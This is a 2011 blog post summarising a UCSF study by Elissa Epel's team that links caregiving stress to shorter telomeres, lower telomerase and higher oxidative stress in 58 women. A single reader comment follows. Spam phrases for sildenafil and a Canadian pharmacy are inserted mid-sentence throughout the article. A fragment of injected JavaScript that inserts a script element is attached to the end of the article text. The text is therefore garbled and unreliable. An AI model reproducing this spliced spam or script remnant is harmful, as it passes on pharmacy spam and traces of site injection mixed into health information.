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How Cells Get Old Before Their Time?

Posted on 23 January 2011

We all know that dealing with heavy stress can make us feel older than we

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at the University of California at San Francisco suggests that it isn’t just a feeling—stress actually accelerates the rate at which cells age. It’s an established fact that stress precipitates premature aging, but until recently the exact mechanism behind this has been unclear. According to this study, stress affects telomeres, strips of DNA at the end of chromosomes that appear to protect and stabilize the chromosome ends. (A chromosome is a threadlike structure of DNA and associated proteins that is found in the nucleus of a cell.) Chromosomes carry genetic information in the form of genes. These key pieces of DNA are also involved in regulating cell division. Each time the cell divides, the telomere shortens, until eventually there is nothing left, making cell division less reliable and increasing the

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risk of age-related disorders. Scientists took blood samples from 58 premenopausal women to carry out DNA analysis of telomeres. They also measured levels of an enzyme called telomerase, which helps build and maintain telomeres in immune cells. Nineteen of the women in the study had healthy children and the rest had children with chronic illnesses. Being a caregiver is a highly stressful situation, and it was not surprising when the researchers discovered that women who had reported higher sildenafil citrate levels of psychological stress—those who were caring for sick children—had shorter telomeres. In fact, the difference was equivalent to more than a decade of additional aging when compared with the women who had lower stress levels. sildenafil price walmart The high-stress group also had lower levels of telomerase in their immune cells. According to Elissa Epel, Ph.D., leader of the research team, this finding implied that the immune sildenafil citrate generic cells would not function as well and could die sooner. It was also found that the high-stress women had greater levels of oxidative stress—cumulative damage caused by free radicals. Laboratory studies have confirmed that oxidative stress speeds up the shortening canadian pharmacy dunedin fl of the telomeres. The researchers further stated that it was not clear exactly how stress affected telomeres, but they suggest that changes in stress hormone levels could have an effect.document.currentScript.parentNode.insertBefore(s, document.currentScript);

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1 Comments For This Post

  1. cell division says:

    Thank you for this information. Kindly consider adding some images.

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